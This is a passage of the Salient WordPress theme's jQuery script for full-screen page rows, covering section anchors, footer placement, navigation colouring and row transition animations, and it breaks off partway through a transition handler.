File: /opt/wpsites/datacloudnow.com/wp-content/themes/salient/js/src/elements/nectar-full-page-rows.js
/**
* Salient "Page Full Screen Rows" script file.
*
* @package Salient
* @author ThemeNectar
*/
/* global Waypoint */
/* global vc_pieChart */
(function( $ ) {
"use strict";
function NectarFullScreenRows(waypoints,$mouseParallaxScenes,nectarLiquidBGFP,nectarDOMInfo,responsiveTooltips,$standAnimatedColTimeout,$svgIcons) {
this.$mouseParallaxScenes = $mouseParallaxScenes;
this.nectarDOMInfo = nectarDOMInfo;
this.waypoints = waypoints;
this.nectarLiquidBGFP = nectarLiquidBGFP;
this.responsiveTooltips = responsiveTooltips;
this.$standAnimatedColTimeout = $standAnimatedColTimeout;
this.$svgIcons = $svgIcons;
this.$usingFullScreenRows = false;
this.$frontEndEditorFPRDiv = (window.vc_iframe) ? '> .vc_element': '> .wpb_row';
this.$fpAnimationSpeed = 850;
this.overallHeight = $(window).height();
this.overallWidth = $(window).width();
this.$fpAnimation = $('#nectar_fullscreen_rows').attr('data-animation');
this.$svgResizeTimeout = null;
this.$disableFPonMobile = ($('#nectar_fullscreen_rows[data-mobile-disable]').length > 0) ? $('#nectar_fullscreen_rows').attr('data-mobile-disable') : 'off';
this.$onMobileBrowser = navigator.userAgent.match(/(Android|iPod|iPhone|iPad|BlackBerry|IEMobile|Opera Mini)/);
this.activeIndex = 0;
this.prevIndex = 0;
if(!this.$onMobileBrowser) {
this.$disableFPonMobile = 'off';
}
if(this.$disableFPonMobile != 'on') {
this.$usingFullScreenRows = true;
this.$names = [];
this.$anchors = [];
this.setFPNames();
this.initFullPageFooter();
this.fullscreenRowLogic();
this.setAnimationSpeed();
this.beforeInit();
this.initNectarFP();
this.bindSmartResize();
this.afterInit();
} else {
this.mobileNameAlter();
$('html,body').css({'height':'auto','overflow-y':'auto'});
}
}
NectarFullScreenRows.prototype.setFPNavColoring = function(index,direction) {
// Add classname onto header nav for custom state management.
$('#header-outer').removeClass (function (index, className) {
return (className.match (/(^|\s)fp-section-\S+/g) || []).join(' ');
});
$('#header-outer').addClass('fp-section-'+index);
if($('#boxed').length > 0 && this.overallWidth > 750) {
return;
}
if($('#nectar_fullscreen_rows '+ this.$frontEndEditorFPRDiv+':nth-child('+index+')').find('.span_12.light').length > 0) {
$('#fp-nav').addClass('light-controls');
if(direction == 'up') {
$('#header-outer.dark-slide').removeClass('dark-slide');
}
else {
setTimeout(function(){
$('#header-outer.dark-slide').removeClass('dark-slide');
},520);
}
}
else {
$('#fp-nav.light-controls').removeClass('light-controls');
if(direction == 'up') {
$('#header-outer').addClass('dark-slide');
}
else {
setTimeout(function(){
$('#header-outer').addClass('dark-slide');
},520);
}
}
// Handle nectar slider coloring
if($('#nectar_fullscreen_rows '+ this.$frontEndEditorFPRDiv+':nth-child('+index+')').find('.nectar-slider-wrap[data-fullscreen="true"]').length > 0) {
var $currentSlider = $('#nectar_fullscreen_rows '+ this.$frontEndEditorFPRDiv+':nth-child('+index+')').find('.nectar-slider-wrap[data-fullscreen="true"]');
if($currentSlider.find('.swiper-slide-active[data-color-scheme="light"]').length > 0) {
$('#header-outer').removeClass('dark-slide');
} else if($currentSlider.find('.swiper-slide-active[data-color-scheme="dark"]').length > 0) {
$('#header-outer').addClass('dark-slide');
}
}
};
NectarFullScreenRows.prototype.setFPNames = function() {
this.$anchors = [];
this.$names = [];
var that = this;
$('#nectar_fullscreen_rows '+ this.$frontEndEditorFPRDiv).each(function(i){
var $id = ($(this).is('[data-fullscreen-anchor-id]')) ? $(this).attr('data-fullscreen-anchor-id') : '';
// Anchor checks
if($('#nectar_fullscreen_rows[data-anchors="on"]').length > 0) {
if($id.indexOf('fws_') == -1) {
that.$anchors.push($id);
}
else {
that.$anchors.push('section-'+(i+1));
}
}
// Name checks
if($(this).find('.full-page-inner-wrap[data-name]').length > 0) {
that.$names.push($(this).find('.full-page-inner-wrap').attr('data-name'));
}
else {
that.$names.push(' ');
}
});
};
NectarFullScreenRows.prototype.mobileNameAlter = function() {
// Change anchor link IDs for when disabled on mobile
if(this.$disableFPonMobile == 'on' && $('#nectar_fullscreen_rows').length > 0) {
$('#nectar_fullscreen_rows > .wpb_row[data-fullscreen-anchor-id]').each(function(){
if($(this).attr('data-fullscreen-anchor-id').length > 0)
$(this).attr('id',$(this).attr('data-fullscreen-anchor-id'));
});
// Remove main content row padding
$('.container-wrap .main-content > .row').css({'padding-bottom':'0'});
// Extra padding for first row is using transparent header
if( $('#nectar_fullscreen_rows > .wpb_row:nth-child(1)').length > 0 &&
$('#header-outer[data-transparent-header="true"]').length > 0 &&
!$('#nectar_fullscreen_rows > .wpb_row:nth-child(1)').hasClass('full-width-content') ) {
$('#nectar_fullscreen_rows > .wpb_row:nth-child(1)').addClass('extra-top-padding');
}
}
};
NectarFullScreenRows.prototype.initFullPageFooter = function() {
var $footerPos = $('#nectar_fullscreen_rows').attr('data-footer');
if($footerPos == 'default') {
$('#footer-outer')
.appendTo('#nectar_fullscreen_rows')
.addClass('fp-auto-height')
.addClass('fp-section')
.addClass('wpb_row')
.attr('data-anchor','')
.wrapInner('<div class="span_12" />')
.wrapInner('<div class="container" />')
.wrapInner('<div class="full-page-inner" />')
.wrapInner('<div class="full-page-inner-wrap" />')
.wrapInner('<div class="full-page-inner-wrap-outer" />');
// Set BG img.
var $footerBG = $('#footer-outer').css('background-image');
if( $footerBG.length > 0 && $footerBG !== 'none' && $('#footer-outer').find('.full-page-inner-wrap').length > 0 ) {
var $footerBGOpacity = ( $('#footer-outer[data-bg-img-overlay]').length > 0 ) ? parseFloat($('#footer-outer').attr('data-bg-img-overlay')) : 0.5;
$('#footer-outer').find('.full-page-inner-wrap').prepend('<div class="footer-bg-wrap"></div>');
$('#footer-outer .full-page-inner > .container').css('z-index','10');
$('#footer-outer .footer-bg-wrap').css({
'background-image': $footerBG,
'background-size': 'cover',
'background-position' : 'center',
'position' : 'absolute',
'left' : '0',
'top' : '0',
'width' : '100%',
'height' : '100%',
'display': 'block',
'content': ' ',
'z-index' : '1',
'opacity' : 1 - $footerBGOpacity
});
}
}
else if($footerPos == 'last_row') {
$('#footer-outer').remove();
$('#nectar_fullscreen_rows > .wpb_row:last-child')
.attr('id','footer-outer')
.addClass('fp-auto-height');
}
else {
$('#footer-outer').remove();
}
};
NectarFullScreenRows.prototype.fullscreenRowLogic = function() {
var $rowNum;
$('.full-page-inner-wrap .full-page-inner > .span_12 > .wpb_column').each(function(){
if($(this).find('> .vc_column-inner > .wpb_wrapper').find('> .wpb_row').length > 0) {
// Add class for css
$(this).find('> .vc_column-inner > .wpb_wrapper').addClass('only_rows');
// Set number of rows for css
$rowNum = $(this).find('> .vc_column-inner > .wpb_wrapper').find('> .wpb_row').length;
$(this).find('> .vc_column-inner > .wpb_wrapper').attr('data-inner-row-num',$rowNum);
}
else if($(this).find('> .column-inner-wrap > .column-inner > .wpb_wrapper').find('> .wpb_row').length > 0) {
// Add class for css
$(this).find('> .column-inner-wrap > .column-inner > .wpb_wrapper').addClass('only_rows');
// Set number of rows for css
$rowNum = $(this).find('> .column-inner-wrap > .column-inner > .wpb_wrapper').find('> .wpb_row').length;
$(this).find('> .column-inner-wrap > .column-inner > .wpb_wrapper').attr('data-inner-row-num',$rowNum);
}
});
};
NectarFullScreenRows.prototype.fullHeightRowOverflow = function() {
var that = this;
// Handle rows with full height that are larger than viewport
if($(window).width() >= 1000) {
$('#nectar_fullscreen_rows > .wpb_row .full-page-inner-wrap[data-content-pos="full_height"]').each(function(){
// Reset mobile calcs incase user plays with window resize
$(this).find('> .full-page-inner').css('height','100%');
var maxHeight = that.overallHeight,
columnPaddingTop = 0,
columnPaddingBottom = 0;
if($('#nectar_fullscreen_rows').attr('data-animation') == 'none') {
$(this).find('> .full-page-inner > .span_12 ').css('height','100%');
}
else {
$(this).find('> .full-page-inner > .span_12 ').css('height',that.overallHeight);
}
$(this).find('> .full-page-inner > .span_12 > .wpb_column > .vc_column-inner > .wpb_wrapper').each(function(){
columnPaddingTop = parseInt($(this).parents('.wpb_column').css('padding-top'));
columnPaddingBottom = parseInt($(this).parents('.wpb_column').css('padding-bottom'));
maxHeight = maxHeight > $(this).height() + columnPaddingTop + columnPaddingBottom ? maxHeight : $(this).height() + columnPaddingTop + columnPaddingBottom;
});
if(maxHeight > that.overallHeight) {
$(this).find('> .full-page-inner > .span_12').height(maxHeight).css('float','none');
}
});
}
else {
// Mobile min height set
$('#nectar_fullscreen_rows > .wpb_row').each(function(){
var $totalColHeight = 0;
$(this).find('.fp-scrollable > .fp-scroller > .full-page-inner-wrap-outer > .full-page-inner-wrap[data-content-pos="full_height"] > .full-page-inner > .span_12 > .wpb_column').each(function(){
$totalColHeight += $(this).outerHeight(true);
});
$(this).find('.fp-scrollable > .fp-scroller > .full-page-inner-wrap-outer > .full-page-inner-wrap > .full-page-inner').css('height','100%');
if($totalColHeight > $(this).find('.fp-scrollable > .fp-scroller > .full-page-inner-wrap-outer > .full-page-inner-wrap > .full-page-inner').height()) {
$(this).find('.fp-scrollable > .fp-scroller > .full-page-inner-wrap-outer > .full-page-inner-wrap > .full-page-inner').height($totalColHeight);
}
});
}
};
NectarFullScreenRows.prototype.recalculateScrollable = function() {
setTimeout(function(){
$('.wpb_row:not(.last-before-footer) .fp-scrollable').each(function(){
var $scrollable = $(this).data('iscrollInstance');
$scrollable.refresh();
});
},200);
this.fullHeightRowOverflow();
};
NectarFullScreenRows.prototype.bindSmartResize = function() {
$(window).off('smartresize.nectarFullScreenCalcs');
$(window).on('smartresize.nectarFullScreenCalcs',this.recalculateScrollable.bind(this));
};
NectarFullScreenRows.prototype.fullscreenElementSizing = function() {
// Nectar slider
var $nsSelector = '.nectar-slider-wrap[data-fullscreen="true"][data-full-width="true"], .nectar-slider-wrap[data-fullscreen="true"][data-full-width="boxed-full-width"]';
if($('.nectar-slider-wrap[data-fullscreen="true"][data-full-width="true"]').length > 0 || $('.nectar-slider-wrap[data-fullscreen="true"][data-full-width="boxed-full-width"]').length > 0) {
if($('#nectar_fullscreen_rows .wpb_row').length > 0) {
$($nsSelector).find('.swiper-container').attr('data-height',$('#nectar_fullscreen_rows .wpb_row').height()+1);
}
$(window).trigger('resize.nsSliderContent');
$($nsSelector).parents('.full-page-inner').addClass('only-nectar-slider');
}
};
NectarFullScreenRows.prototype.setAnimationSpeed = function() {
switch($('#nectar_fullscreen_rows').attr('data-animation-speed')) {
case 'slow':
this.$fpAnimationSpeed = 1150;
break;
case 'medium':
this.$fpAnimationSpeed = 850;
break;
case 'fast':
this.$fpAnimationSpeed = 650;
break;
default:
this.$fpAnimationSpeed = 850;
}
};
NectarFullScreenRows.prototype.firefoxDrawEl = function() {
var $drawTheEl = $('#nectar_fullscreen_rows > div:first-child').height();
if($('#nectar_fullscreen_rows.trans-animation-active').length > 0){
requestAnimationFrame(this.firefoxDrawEl.bind(this));
}
};
NectarFullScreenRows.prototype.beforeInit = function() {
// Kenburns first slide
$('#nectar_fullscreen_rows[data-row-bg-animation="ken_burns"] > .wpb_row:first-child .row-bg.using-image').addClass('kenburns');
setTimeout(function(){
// Ken burns first slide
$('#nectar_fullscreen_rows[data-row-bg-animation="ken_burns"] > .wpb_row:first-child .row-bg.using-image').removeClass('kenburns');
},500);
// Remove kenburns from safari
if(navigator.userAgent.indexOf('Safari') != -1 && navigator.userAgent.indexOf('Chrome') == -1) {
$('#nectar_fullscreen_rows[data-row-bg-animation="ken_burns"]').attr('data-row-bg-animation','none');
}
};
NectarFullScreenRows.prototype.afterInit = function() {
var that = this;
if(window.vc_iframe) {
setTimeout(function(){
that.setFPNavColoring(1,'na');
},500);
}
else {
this.setFPNavColoring(1,'na');
}
this.fullscreenElementSizing();
// Slide out right OCM material nav compat
if($('body[data-slide-out-widget-area-style="slide-out-from-right"].material').length > 0) {
$('#slide-out-widget-area .off-canvas-menu-container').find("a[href*='#']").on('click',function(){
var $link_hash = $(this).prop("hash");
if($link_hash != '#' &&
$link_hash.indexOf("#") != -1 &&
$('div[data-fullscreen-anchor-id="'+$link_hash.substr($link_hash.indexOf("#")+1)+'"]').length > 0) {
if($('body.material-ocm-open').length > 0) {
$('body > .slide_out_area_close').addClass('non-human-allowed').trigger('click');
setTimeout(function(){
$('body > .slide_out_area_close').removeClass('non-human-allowed');
},100);
}
} // if a section has been found
}); // click
}
};
NectarFullScreenRows.prototype.FPActiveMenuItems = function(index) {
if(!$('#nectar_fullscreen_rows[data-anchors="on"]').length > 0 || !index) {
return;
}
var $hash = window.location.hash;
var $hashSubstrng = ($hash && $hash.length > 0) ? $hash.substring(1,$hash.length) : '';
if($('body:not(.mobile) #header-outer[data-has-menu="true"]').length > 0 &&
$('#nectar_fullscreen_rows > .wpb_row:nth-child('+index+')[data-fullscreen-anchor-id]').length > 0 &&
$('header#top nav > ul.sf-menu > li').find('> a[href$="#'+$hashSubstrng+'"]').length > 0 ) {
$('header#top nav > ul.sf-menu > li').removeClass('current-menu-item');
$('header#top nav > ul.sf-menu > li')
.find('> a[href$="'+$hashSubstrng+'"]')
.parent()
.addClass('current-menu-item');
}
};
NectarFullScreenRows.prototype.resetWaypoints = function() {
var that = this;
// Animated columns / imgs
$('img.img-with-animation.animated-in:not([data-animation="none"])').css({'transition':'none'});
$('img.img-with-animation.animated-in:not([data-animation="none"]), .img-with-aniamtion-wrap:not([data-animation="none"]) .hover-wrap').css({'opacity':'','transform':''}).removeClass('animated-in');
$('.img-with-aniamtion-wrap[data-animation*="reveal-from-"]').removeClass('animated-in');
$('.img-with-aniamtion-wrap[data-animation*="reveal-from-"] img.img-with-animation').css({'transition':''});
$('.col.has-animation.animated-in:not([data-animation*="reveal"]), .wpb_column.has-animation.animated-in:not([data-animation*="reveal"])').css({'transition':'none'});
$('.col.has-animation.animated-in:not([data-animation*="reveal"]), .wpb_column.has-animation.animated-in:not([data-animation*="reveal"]), .nectar_cascading_images .cascading-image:not([data-animation="none"]) .inner-wrap').css({'opacity':'0','transform':'none','left':'auto','right':'auto'}).removeClass('animated-in');
$('.col.has-animation.boxed:not([data-animation*="reveal"]), .wpb_column.has-animation.boxed:not([data-animation*="reveal"])').addClass('no-pointer-events');
$('.column-image-bg-wrap[data-bg-animation*="ro-reveal-from-"]').parents('.vc_column-inner').removeClass('revealed-bg');
// Row BG animations
$('.row-bg-wrap[data-bg-animation]:not([data-bg-animation="none"]):not([data-bg-animation*="displace-filter"]) .inner-wrap.using-image').removeClass('animated-in');
$('.column-image-bg-wrap[data-bg-animation]:not([data-bg-animation="none"]):not([data-bg-animation*="displace-filter"]) .inner-wrap').removeClass('animated-in');
// Reveal columns
$('.wpb_column.has-animation[data-animation*="reveal"], .nectar_cascading_images').removeClass('animated-in');
if(this.overallWidth > 1000 && $('.using-mobile-browser').length == 0 && $('body[data-flex-cols="true"]').length == 0 ) {
$('.wpb_column.has-animation[data-animation="reveal-from-bottom"] > .column-inner-wrap').css({'transition':'none','transform':'translate(0, 100%)'});
$('.wpb_column.has-animation[data-animation="reveal-from-bottom"] > .column-inner-wrap > .column-inner').css({'transition':'none','transform':'translate(0, -90%)'});
$('.wpb_column.has-animation[data-animation="reveal-from-top"] > .column-inner-wrap').css({'transition':'none','transform':'translate(0, -100%)'});
$('.wpb_column.has-animation[data-animation="reveal-from-top"] > .column-inner-wrap > .column-inner').css({'transition':'none','transform':'translate(0, 90%)'});
$('.wpb_column.has-animation[data-animation="reveal-from-left"] > .column-inner-wrap').css({'transition-duration':'0s','transform':'translate(-100%, 0)'});
$('.wpb_column.has-animation[data-animation="reveal-from-left"] > .column-inner-wrap > .column-inner').css({'transition-duration':'0s','transform':'translate(90%, 0)'});
$('.wpb_column.has-animation[data-animation="reveal-from-right"] > .column-inner-wrap').css({'transition-duration':'0s','transform':'translate(100%, 0)'});
$('.wpb_column.has-animation[data-animation="reveal-from-right"] > .column-inner-wrap > .column-inner').css({'transition-duration':'0s','transform':'translate(-90%, 0)'});
} else if( this.overallWidth > 1000 && $('.using-mobile-browser').length == 0 && $('body[data-flex-cols="true"]').length > 0) {
$('.wpb_column.has-animation[data-animation*="reveal"] > .vc_column-inner').css({'transform':''});
}
$('.wpb_column.has-animation[data-animation*="reveal"] > .column-inner-wrap, .wpb_column.has-animation[data-animation*="reveal"] > .column-inner-wrap > .column-inner').removeClass('no-transform');
// WPBakery waypoints
$('.wpb_animate_when_almost_visible.animated').removeClass('wpb_start_animation').removeClass('animated');
// Column borders
$('.wpb_column[data-border-animation="true"] .border-wrap.animation').removeClass('animation').removeClass('completed');
// Milestone
$('.nectar-milestone.animated-in').removeClass('animated-in').removeClass('in-sight');
$('.nectar-milestone .symbol').removeClass('in-sight');
// Fancy ul
$('.nectar-fancy-ul[data-animation="true"]').removeClass('animated-in');
$('.nectar-fancy-ul[data-animation="true"] ul li').css({'opacity':'0','left':'-20px'});
// Progress bars
$('.nectar-progress-bar').removeClass('completed');
$('.nectar-progress-bar .bar-wrap > span').css({'width':'0px'});
$('.nectar-progress-bar .bar-wrap > span > strong').css({'opacity':'0'});
// Clients
$('.clients.fade-in-animation').removeClass('animated-in');
$('.clients.fade-in-animation > div').css('opacity','0');
// Carousel
$('.owl-carousel[data-enable-animation="true"]').removeClass('animated-in');
$('.owl-carousel[data-enable-animation="true"] .owl-stage > .owl-item').css({'transition':'none','opacity':'0','transform':'translate(0, 70px)'});
// Dividers
$('.divider-small-border[data-animate="yes"], .divider-border[data-animate="yes"]').removeClass('completed').css({'transition':'none','transform':'scale(0,1)'});
// Icon list
$('.nectar-icon-list').removeClass('completed');
$('.nectar-icon-list-item').removeClass('animated');
// Portfolio
$('.portfolio-items .col').removeClass('animated-in');
// Split line
$('.nectar-split-heading').removeClass('animated-in');
$('.nectar-split-heading .heading-line > div').css({'transform':'translate(0,200%)'});
$('.nectar-split-heading[data-animation-type="line-reveal-by-space"] .inner').css({'transform':'translate(0,1.2em)'});
$('.nectar-text-inline-images__marker').removeClass('animated-in');
// Rotating Text.
$('.nectar-rotating-words-title.element_stagger_words').removeClass('animated-in');
$('.nectar-rotating-words-title.element_stagger_words .text-wrap > span').css({'transform':'translate(0,1.2em)'});
// Woo Carousel
$('.nectar-woo-flickity[data-animation*="fade"]').removeClass('animated-in');
$('.nectar-woo-flickity[data-animation="fade-in-bottom"] ul.products .flickity-cell').css({'opacity':'0','transform':'translate3d(0,70px,0)'});
$('.nectar-woo-flickity[data-animation="fade-in-side"] ul.products .flickity-cell').css({'opacity':'0','transform':'translate3d(70px,0,0)'});
// Image with hotspots
$('.nectar_image_with_hotspots[data-animation="true"]').removeClass('completed');
$('.nectar_image_with_hotspots[data-animation="true"] .nectar_hotspot_wrap').removeClass('animated-in');
// Animated titles
$('.nectar-animated-title').removeClass('completed');
// Highlighted text
$('.nectar-highlighted-text em').removeClass('animated');
// Post grid.
$('.nectar-post-grid-filters:not([data-animation="none"])').removeClass('animated-in');
$('.nectar-post-grid:not([data-animation="none"]) .nectar-post-grid-item').removeClass('animated-in');
$('.nectar-post-grid-wrap').removeClass('finished-animating');
if($('.vc_pie_chart').length > 0) {
vc_pieChart();
}
$('.col.has-animation:not([data-animation*="reveal"]), .wpb_column.has-animation:not([data-animation*="reveal"])').each(function(i) {
// Clear previous timeout (needed for fullscreen rows)
clearTimeout(that.$standAnimatedColTimeout[i]);
});
};
NectarFullScreenRows.prototype.fullscreenFooterCalcs = function() {
if($('#footer-outer.active').length > 0) {
$('.last-before-footer')
.addClass('fp-notransition')
.css('transform','translateY(-'+$('#footer-outer').height()+'px)');
setTimeout(function(){
$('.last-before-footer').removeClass('fp-notransition');
},10);
}
};
NectarFullScreenRows.prototype.stopMouseParallax = function() {
$.each(this.$mouseParallaxScenes,function(k,v){
v.parallax('disable');
});
};
NectarFullScreenRows.prototype.startMouseParallax = function() {
if($('#nectar_fullscreen_rows > .wpb_row.active .nectar-parallax-scene').length > 0) {
$.each(this.$mouseParallaxScenes,function(k,v){
v.parallax('enable');
});
}
};
NectarFullScreenRows.prototype.initNectarFP = function() {
var that = this;
if(window.vc_iframe) {
setTimeout(function(){
$('html,body').css({
'height':'100%',
'overflow-y':'hidden'
});
},100);
// Remove scrolling to help performance of FE editor
$('body,html').on("mousewheel.removeScroll", function() {
return false;
});
}
// Move row IDs onto parents for front end editor
if($('body.vc_editor').length > 0) {
$('#nectar_fullscreen_rows > .vc_empty-placeholder').remove();
$('#nectar_fullscreen_rows > .vc_element').each(function(){
var innerRowID = $(this).find('> .wpb_row').attr('id');
$(this).attr('id',innerRowID);
});
}
$('.container-wrap, .container-wrap .main-content > .row').css({
'padding-bottom':'0',
'margin-bottom': '0'
});
var autoScrollBool = true;
if( that.$fpAnimation == 'free-scroll' ) {
autoScrollBool = false;
}
$('#nectar_fullscreen_rows').fullpage({
sectionSelector: '#nectar_fullscreen_rows '+this.$frontEndEditorFPRDiv,
navigation: true,
css3: true,
scrollingSpeed: this.$fpAnimationSpeed,
anchors: this.$anchors,
scrollOverflow: true,
navigationPosition: 'right',
navigationTooltips: this.$names,
autoScrolling: autoScrollBool,
afterLoad: function(anchorLink, index){
that.activeIndex = index;
if($('#nectar_fullscreen_rows').hasClass('afterLoaded')) {
// Ensure no scrolling body occurs
if( that.$fpAnimation != 'free-scroll' ) {
if(that.nectarDOMInfo.scrollTop != 0) {
window.scrollTo(0,0);
}
// Reset slim scroll to top
$('.wpb_row:not(.last-before-footer):not(:nth-child('+index+')) .fp-scrollable').each(function(){
var $scrollable = $(this).data('iscrollInstance');
$scrollable.scrollTo(0,0);
});
}
// Reset carousel
$('.wpb_row:not(:nth-child('+index+')) .owl-carousel').trigger('to.owl.carousel',[0]);
var $row_id = $('#nectar_fullscreen_rows > .wpb_row:nth-child('+index+')').attr('id');
$('#nectar_fullscreen_rows '+that.$frontEndEditorFPRDiv)
.removeClass('transition-out')
.removeClass('trans');
$('#nectar_fullscreen_rows '+ that.$frontEndEditorFPRDiv +':nth-child('+index+')').removeClass('next-current');
$('#nectar_fullscreen_rows '+ that.$frontEndEditorFPRDiv +':nth-child('+index+') .full-page-inner-wrap-outer').css({'height': '100%'});
$('#nectar_fullscreen_rows '+ that.$frontEndEditorFPRDiv +' .full-page-inner-wrap-outer').css({'transform':'none'});
// Handle waypoints
if($row_id != 'footer-outer' &&
$('#nectar_fullscreen_rows '+ that.$frontEndEditorFPRDiv +':nth-child('+index+').last-before-footer').length == 0
&& that.activeIndex !== that.prevIndex ) {
that.waypoints();
if(!navigator.userAgent.match(/(Android|iPod|iPhone|iPad|BlackBerry|IEMobile|Opera Mini)/) && !that.nectarDOMInfo.usingFrontEndEditor) {
that.resetWaypoints();
Waypoint.destroyAll();
that.startMouseParallax();
}
if(!that.nectarDOMInfo.usingFrontEndEditor) {
that.nectarLiquidBGFP();
}
that.responsiveTooltips();
$(window).trigger('nectar-waypoints-reinit');
}
if($row_id !='footer-outer') {
$('#nectar_fullscreen_rows ' + that.$frontEndEditorFPRDiv).removeClass('last-before-footer').css('transform','initial');
// Reset animation attrs
if(!window.vc_iframe) {
$('#nectar_fullscreen_rows '+ that.$frontEndEditorFPRDiv +':not(.active):not(#footer-outer)').css({
'transform':'translateY(0)',
'left':'-9999px',
'transition': 'none',
'opacity':'1',
'will-change':'auto'
});
$('#nectar_fullscreen_rows '+ that.$frontEndEditorFPRDiv +':not(#footer-outer)').find('.full-page-inner-wrap-outer').css({
'transition': 'none',
'transform':'none',
'will-change':'auto'
});
$('#nectar_fullscreen_rows '+ that.$frontEndEditorFPRDiv +':not(#footer-outer)').find('.fp-tableCell').css({
'transition': 'none',
'transform':'none',
'will-change':'auto'
});
}
// Stacking fix
$('#nectar_fullscreen_rows '+ that.$frontEndEditorFPRDiv +':not(#footer-outer)')
.find('.full-page-inner-wrap-outer > .full-page-inner-wrap > .full-page-inner > .container')
.css({'backface-visibility':'visible', 'z-index':'auto'});
}
} else {
that.fullHeightRowOverflow();
that.overallHeight = $('#nectar_fullscreen_rows').height();
$('#nectar_fullscreen_rows').addClass('afterLoaded');
// For users that have scrolled down prior to turning on full page
setTimeout(function(){ window.scrollTo(0,0); },1800);
// Ken burns first slide fix
$('#nectar_fullscreen_rows[data-row-bg-animation="ken_burns"] '+ that.$frontEndEditorFPRDiv +':first-child .row-bg.using-image').removeClass('kenburns');
// Handle fullscreen elements
that.fullscreenElementSizing();
}
$('#nectar_fullscreen_rows').removeClass('nextSectionAllowed');
},
onLeave: function(index, nextIndex, direction){
if($('.fp-section.active').length > 0) {
that.prevIndex = index;
}
$('#nectar_fullscreen_rows').addClass('trans-animation-active');
var $row_id = $('#nectar_fullscreen_rows ' + that.$frontEndEditorFPRDiv + ':nth-child('+nextIndex+')').attr('id');
var $indexRow = $('#nectar_fullscreen_rows ' + that.$frontEndEditorFPRDiv + ':nth-child('+index+')');
var $nextIndexRow = $('#nectar_fullscreen_rows ' + that.$frontEndEditorFPRDiv + ':nth-child('+nextIndex+')');
var $nextIndexRowInner = $nextIndexRow.find('.full-page-inner-wrap-outer');
var $nextIndexRowFpTable = $nextIndexRow.find('.fp-tableCell');
// Mobile/safari fix
var $transformProp = (!navigator.userAgent.match(/(Android|iPod|iPhone|iPad|BlackBerry|IEMobile|Opera Mini)/)) ? 'transform' : 'all';
if( $row_id == 'footer-outer') {
$indexRow.addClass('last-before-footer');
$('#footer-outer').css('opacity','1');
} else {
$('#nectar_fullscreen_rows '+that.$frontEndEditorFPRDiv+'.last-before-footer').css('transform','translateY(0px)');
$('#footer-outer').css('opacity','0');
}
if( $indexRow.attr('id') == 'footer-outer') {
$('#footer-outer').css({
'transition': $transformProp+' 460ms cubic-bezier(0.60, 0.23, 0.2, 0.93)',
'backface-visibility': 'hidden'
});
$('#footer-outer').css({'transform': 'translateY(45%) translateZ(0)'});
}
// Stacking fix
if($nextIndexRow.attr('id') != 'footer-outer') {
$nextIndexRowFpTable.find('.full-page-inner-wrap-outer > .full-page-inner-wrap > .full-page-inner > .container').css({'backface-visibility':'hidden', 'z-index':'110'});
}
// Animation
if($nextIndexRow.attr('id') != 'footer-outer' &&
$indexRow.attr('id') != 'footer-outer' &&
$('#nectar_fullscreen_rows[data-animation="none"]').length == 0 &&
$('#nectar_fullscreen_rows[data-animation="free-scroll"]').length == 0 ) {
// Scrolling down
if(direction == 'down') {
if(that.$fpAnimation == 'parallax') {
$indexRow.css({'transition': $transformProp+' '+that.$fpAnimationSpeed+'ms cubic-bezier(.29,.23,.13,1)', 'will-change':'transform', 'transform':'translateZ(0)' ,'z-index': '100'});
setTimeout(function() {
$indexRow.css({'transform': 'translateY(-50%) translateZ(0)'});
}, 60);
$nextIndexRow.css({
'z-index':'1000',
'top':'0',
'left':'0'
});
$nextIndexRowFpTable.css({
'transform':'translateY(100%) translateZ(0)',
'will-change':'transform'
});
$nextIndexRowInner.css({
'transform':'translateY(-50%) translateZ(0)',
'will-change':'transform'
});
} else if(that.$fpAnimation == 'zoom-out-parallax') {
$indexRow.css({
'transition': 'opacity '+that.$fpAnimationSpeed+'ms cubic-bezier(0.37, 0.31, 0.2, 0.85), transform '+that.$fpAnimationSpeed+'ms cubic-bezier(0.37, 0.31, 0.2, 0.85)',
'z-index': '100',
'will-change':'transform'
});
setTimeout(function() {
$indexRow.css({
'transform': 'scale(0.77) translateZ(0)',
'opacity': '0'
});
}, 60);
$nextIndexRow.css({
'z-index':'1000',
'top':'0',
'left':'0'
});
$nextIndexRowFpTable.css({
'transform':'translateY(100%) translateZ(0)',
'will-change':'transform'
});
$nextIndexRowInner.css({
'transform':'translateY(-50%) translateZ(0)',
'will-change':'transform'
});
}
}
//scrolling up
else {
if( that.$fpAnimation == 'parallax' ) {
$indexRow.css({
'transition': $transformProp+' '+that.$fpAnimationSpeed+'ms cubic-bezier(.29,.23,.13,1)',
'z-index': '100',
'will-change':'transform'
});
setTimeout(function() {
$indexRow.css({'transform': 'translateY(50%) translateZ(0)'});
}, 60);
$nextIndexRow.css({'z-index':'1000','top':'0','left':'0'});
$nextIndexRowFpTable.css({'transform':'translateY(-100%) translateZ(0)','will-change':'transform'});
$nextIndexRowInner.css({'transform':'translateY(50%) translateZ(0)','will-change':'transform'});
}
else if(that.$fpAnimation == 'zoom-out-parallax') {
$indexRow.css({'transition': 'opacity '+that.$fpAnimationSpeed+'ms cubic-bezier(0.37, 0.31, 0.2, 0.85), transform '+that.$fpAnimationSpeed+'ms cubic-bezier(0.37, 0.31, 0.2, 0.85)', 'z-index': '100', 'will-change':'transform'});
setTimeout(function() {
$indexRow.css({'transform': 'scale(0.77) translateZ(0)', 'opacity': '0'});
}, 60);
$nextIndexRow.css({
'z-index':'1000',
'top':'0',
'left':'0'
});
$nextIndexRowFpTable.css({
'transform':'translateY(-100%) translateZ(0)',
'will-change':'transform'
});
$nextIndexRowInner.css({
'transform':'translateY(50%) translateZ(0)',
'will-change':'transform'
});
}
}
setTimeout(function() {
$nextIndexRowFpTable.css({
'transition':$transformProp+' '+that.$fpAnimationSpeed+'ms cubic-bezier(.29,.23,.13,1) 0ms',
'transform':'translateY(0%) translateZ(0)'
});
if(that.$fpAnimation != 'none') {
$nextIndexRowInner.css({
'transition':$transformProp+' '+that.$fpAnimationSpeed+'ms cubic-bezier(.29,.23,.13,1) 0ms',
'transform':'translateY(0%) translateZ(0)'
});
}
},60);
}
// Adjust transform if larger than row height for parallax
if($('#nectar_fullscreen_rows[data-animation="none"]').length == 0 &&
$('#nectar_fullscreen_rows[data-animation="free-scroll"]').length == 0 &&
$nextIndexRow.find('.fp-scrollable').length > 0) {
$nextIndexRow
.find('.full-page-inner-wrap-outer')
.css('height',that.overallHeight);
}
setTimeout(function() {
if( $row_id == 'footer-outer') {
$indexRow.css('transform','translateY(-'+($('#footer-outer').height()-1)+'px)');
$('#footer-outer').css({
